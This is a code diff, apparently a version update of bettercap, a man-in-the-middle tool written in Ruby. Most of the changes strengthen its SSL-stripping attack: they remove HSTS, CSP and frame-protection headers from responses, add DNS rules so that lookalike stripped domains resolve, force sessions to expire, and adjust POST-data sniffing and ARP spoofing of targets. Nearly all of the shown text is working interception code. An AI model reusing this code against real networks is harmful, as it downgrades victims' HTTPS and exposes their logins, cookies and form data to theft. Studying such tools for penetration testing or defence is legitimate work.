  'www' => 'wwwww',
30
30
  'webmail' => 'wwebmail',
31
- 'mail' => 'wmail'
31
+ 'mail' => 'wmail',
32
+ 'm' => 'wmobile'
32
33
  }.freeze
33
34
 
34
35
  # Create an instance with the given arguments.
@@ -38,6 +39,16 @@ class StrippedObject
38
39
  @stripped = stripped
39
40
  end
40
41
 
42
+ # Return the #original hostname.
43
+ def original_hostname
44
+ URI::parse(@original).hostname
45
+ end
46
+
47
+ # Return the #stripped hostname.
48
+ def stripped_hostname
49
+ URI::parse(@stripped).hostname
50
+ end
51
+
41
52
  # Return a normalized version of +url+.
42
53
  def self.normalize( url, schema = 'https' )
43
54
  # add schema if needed
@@ -94,13 +105,15 @@ class Strip
94
105
  @stripped = []
95
106
  @cookies = CookieMonitor.new
96
107
  @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
108
+ @resolver = BetterCap::Network::Servers::DNSD.new
109
+ @resolver.start
97
110
  end
98
111
 
99
112
  # Return true if the +request+ was stripped.
100
113
  def was_stripped?(request)
101
114
  url = request.base_url
102
115
  @stripped.each do |s|
103
- if s.client == request.client and s.stripped == url
116
+ if s.client == request.client and s.stripped.start_with?(url)
104
117
  return true
105
118
  end
106
119
  end
@@ -109,7 +122,7 @@ class Strip
109
122
 
110
123
  def unstrip( request, url )
111
124
  @stripped.each do |s|
112
- if s.client == request.client and s.stripped == url
125
+ if s.client == request.client and s.stripped.start_with?(url)
113
126
  return s.original
114
127
  end
115
128
  end
@@ -140,6 +153,7 @@ class Strip
140
153
  return true
141
154
  end
142
155
 
156
+ process_headers!(response)
143
157
  process_body!( request, response )
144
158
 
145
159
  # do not retry the request.
@@ -148,13 +162,23 @@ class Strip
148
162
 
149
163
  private
150
164
 
151
- # Clean some headers from +request+.
152
- def process_headers!(request)
153
- request['Accept-Encoding'] = nil
154
- request['If-None-Match'] = nil
155
- request['If-Modified-Since'] = nil
156
- request['Upgrade-Insecure-Requests'] = nil
157
- request['Pragma'] = 'no-cache'
165
+ # Clean some headers from +r+.
166
+ def process_headers!(r)
167
+ # clean request
168
+ if r.is_a?(BetterCap::Proxy::Request)
169
+ r['Accept-Encoding'] = nil
170
+ r['If-None-Match'] = nil
171
+ r['If-Modified-Since'] = nil
172
+ r['Upgrade-Insecure-Requests'] = nil
173
+ r['Pragma'] = 'no-cache'
174
+ # clean response
175
+ else
176
+ r['X-Frame-Options'] = nil
177
+ r['X-Content-Type-Options'] = nil
178
+ r['X-Xss-Protection'] = nil
179
+ r['Strict-Transport-Security'] = nil
180
+ r['Content-Security-Policy'] = nil
181
+ end
158
182
  end
159
183
 
160
184
  # If +request+ has unknown session cookies, create a client redirection
@@ -165,7 +189,7 @@ class Strip
165
189
  unless @cookies.is_clean?(request)
166
190
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
167
191
  expired = @cookies.get_expired_headers!(request)
168
- response = Response.redirect( "http://#{request.host}#{request.url}", expired )
192
+ response = Response.redirect( request.to_url(nil), expired )
169
193
  end
170
194
  response
171
195
  end
@@ -179,7 +203,7 @@ class Strip
179
203
  # i.e: http://wwww.facebook.com/
180
204
  url = StrippedObject.normalize( stripped, 'http' )
181
205
  # i.e: www.facebook.com
182
- unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
206
+ unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
183
207
 
184
208
  # loop each header and fix the stripped url if needed,
185
209
  # this will fix headers such as Host, Referer, Origin, etc.
@@ -205,7 +229,7 @@ class Strip
205
229
 
206
230
  # Return true if +request+ is a favicon request.
207
231
  def is_favicon?(request)
208
- ( request.url.include?('.ico') or request.url.include?('favicon') )
232
+ ( request.path.include?('.ico') or request.path.include?('favicon') )
209
233
  end
210
234
 
211
235
  # If the +response+ is a redirect to a HTTPS location, patch the +response+ and
@@ -215,7 +239,7 @@ class Strip
215
239
  if response['Location'].start_with?('https://')
216
240
  original, stripped = StrippedObject.process( response['Location'] )
217
241
 
218
- @stripped << StrippedObject.new( request.client, original, stripped )
242
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
219
243
 
220
244
  # If MAX_REDIRECTS is reached, the 'Location' header will be used.
221
245
  response['Location'] = stripped
@@ -259,15 +283,23 @@ class Strip
259
283
  rescue; end
260
284
 
261
285
  unless links.empty?
262
- Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
286
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
263
287
 
264
288
  links.each do |l|
265
289
  original, stripped = l
266
- @stripped << StrippedObject.new( request.client, original, stripped )
290
+ add_stripped_object StrippedObject.new( request.client, original, stripped )
267
291
  response.body.gsub!( original, stripped )
268
292
  end
269
293
  end
270
294
  end
295
+
296
+ private
297
+
298
+ def add_stripped_object( o )
299
+ @stripped << o
300
+ # make sure we're able to resolve the stripped domain
301
+ @resolver.add_rule( o.stripped_hostname, IPSocket.getaddress( o.original_hostname ) )
302
+ end
271
303
  end
272
304
 
273
305
  end
@@ -48,8 +48,6 @@ class StreamLogger
48
48
  # Given +proto+ and +port+ return the network service name if possible.
49
49
  def self.service( proto, port )
50
50
  if @@services.nil?
51
- Logger.info 'Preloading network services ...'
52
-
53
51
  @@services = { :tcp => {}, :udp => {} }
54
52
  filename = File.dirname(__FILE__) + '/../network/services'
55
53
  File.open( filename ).each do |line|
@@ -126,7 +124,7 @@ class StreamLogger
126
124
  msg << "\n[#{'BODY'.green}]\n\n"
127
125
 
128
126
  case request['Content-Type']
129
- when 'application/x-www-form-urlencoded'
127
+ when /application\/x-www-form-urlencoded.*/i
130
128
  msg << self.dump_form( request )
131
129
 
132
130
  when 'gzip'
@@ -146,8 +144,6 @@ class StreamLogger
146
144
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
147
145
  # with the +request+ and +response+ most important informations.
148
146
  def self.log_http( request, response )
149
- is_https = request.port == 443
150
- request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
151
147
  response_s = "( #{response.content_type} )"
152
148
  request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
153
149
  code = response.code[0]
@@ -158,7 +154,7 @@ class StreamLogger
158
154
  response_s += " [#{response.code}]"
159
155
  end
160
156
 
161
- Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
157
+ Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
162
158
  # Log post body if the POST sniffer is enabled.
163
159
  if Context.get.post_sniffer_enabled?
164
160
  self.log_post( request )
@@ -20,21 +20,21 @@ class Streamer
20
20
  def initialize( processor )
21
21
  @processor = processor
22
22
  @ctx = Context.get
23
- @sslstrip = SSLStrip::Strip.new
23
+ @sslstrip = SSLStrip::Strip.new if @ctx.options.sslstrip
24
24
  end
25
25
 
26
26
  # Return true if the +request+ was stripped.
27
27
  def was_stripped?(request, client)
28
28
  if @ctx.options.sslstrip
29
- request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
29
+ request.client, _ = get_client_details( client )
30
30
  return @sslstrip.was_stripped?(request)
31
31
  end
32
32
  false
33
33
  end
34
34
 
35
35
  # Redirect the +client+ to a funny video.
36
- def rickroll( client, is_https )
37
- client_ip, client_port = get_client_details( is_https, client )
36
+ def rickroll( client )
37
+ client_ip, client_port = get_client_details( client )
38
38
 
39
39
  Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
40
40
 
@@ -44,10 +44,9 @@ class Streamer
44
44
  # Handle the HTTP +request+ from +client+.
45
45
  def handle( request, client, redirects = 0 )
46
46
  response = Response.new
47
- is_https = request.port == 443
48
- request.client, request.client_port = get_client_details( is_https, client )
47
+ request.client, _ = get_client_details( client )
49
48
 
50
- Logger.debug "Handling #{request.verb} request from #{request.client}:#{request.client_port} ..."
49
+ Logger.debug "Handling #{request.method} request from #{request.client} ..."
51
50
 
52
51
  begin
53
52
  r = nil
@@ -59,7 +58,7 @@ class Streamer
59
58
  # call modules on_pre_request
60
59
  @processor.call( request, nil )
61
60
 
62
- self.send( "do_#{request.verb}", request, response )
61
+ self.send( "do_#{request.method}", request, response )
63
62
  else
64
63
  response = r
65
64
  end
@@ -67,7 +66,7 @@ class Streamer
67
66
  if response.textual?
68
67
  StreamLogger.log_http( request, response )
69
68
  else
70
- Logger.debug "[#{request.client}] -> #{request.host}#{request.url} [#{response.code}]"
69
+ Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
71
70
  end
72
71
 
73
72
  if @ctx.options.sslstrip
@@ -77,7 +76,7 @@ class Streamer
77
76
  if redirects < SSLStrip::Strip::MAX_REDIRECTS
78
77
  return self.handle( request, client, redirects + 1 )
79
78
  else
80
- Logger.info "[#{'SSLSTRIP'.yellow} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
79
+ Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
81
80
  end
82
81
  end
83
82
  end
@@ -87,7 +86,7 @@ class Streamer
87
86
 
88
87
  client.write response.to_s
89
88
  rescue NoMethodError => e
90
- Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
89
+ Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
91
90
  Logger.exception e
92
91
  end
93
92
  end
@@ -95,20 +94,15 @@ class Streamer
95
94
  private
96
95
 
97
96
  # Return the +client+ ip address and port.
98
- def get_client_details( is_https, client )
99
- unless is_https
100
- client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
101
- else
102
- _, client_port, _, client_ip = client.peeraddr
103
- end
104
-
97
+ def get_client_details( client )
98
+ _, client_port, _, client_ip = client.peeraddr
105
99
  [ client_ip, client_port ]
106
100
  end
107
101
 
108
102
  # Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::Request
109
103
  # object, will return a BetterCap::Proxy::Response object instance.
110
104
  def perform_proxy_request(req, res)
111
- path = req.url
105
+ path = req.path
112
106
  response = nil
113
107
  http = Net::HTTP.new( req.host, req.port )
114
108
  http.use_ssl = ( req.port == 443 )
@@ -92,7 +92,7 @@ private
92
92
  break
93
93
  end
94
94
 
95
- Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
95
+ # Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
96
96
 
97
97
  update_targets!
98
98
 
@@ -106,7 +106,7 @@ private
106
106
 
107
107
  # Get the MAC address of the gateway and update it.
108
108
  def update_gateway!
109
- hw = Network.get_hw_address( @ctx.ifconfig, @ctx.gateway )
109
+ hw = Network.get_hw_address( @ctx, @ctx.gateway )
110
110
  raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
111
111
  @gateway = Network::Target.new( @ctx.gateway, hw )
112
112
 
@@ -118,9 +118,9 @@ private
118
118
  @ctx.targets.each do |target|
119
119
  # targets could change, update mac addresses if needed
120
120
  if target.mac.nil?
121
- hw = Network.get_hw_address( @ctx.ifconfig, target.ip )
121
+ hw = Network.get_hw_address( @ctx, target.ip )
122
122
  if hw.nil?
123
- Logger.warn "Couldn't determine target #{ip} MAC address!"
123
+ Logger.warn "Couldn't determine target #{target.ip} MAC address!"
124
124
  next
125
125
  else
126
126
  target.mac = hw
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.3.8'
15
+ VERSION = '1.3.9'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.8
4
+ version: 1.3.9
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-13 00:00:00.000000000 Z
11
+ date: 2016-02-16 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -148,6 +148,7 @@ files:
148
148
  - lib/bettercap/network/servers/httpd.rb
149
149
  - lib/bettercap/network/services
150
150
  - lib/bettercap/network/target.rb
151
+ - lib/bettercap/network/validator.rb
151
152
  - lib/bettercap/options.rb
152
153
  - lib/bettercap/proxy/certstore.rb
153
154
  - lib/bettercap/proxy/module.rb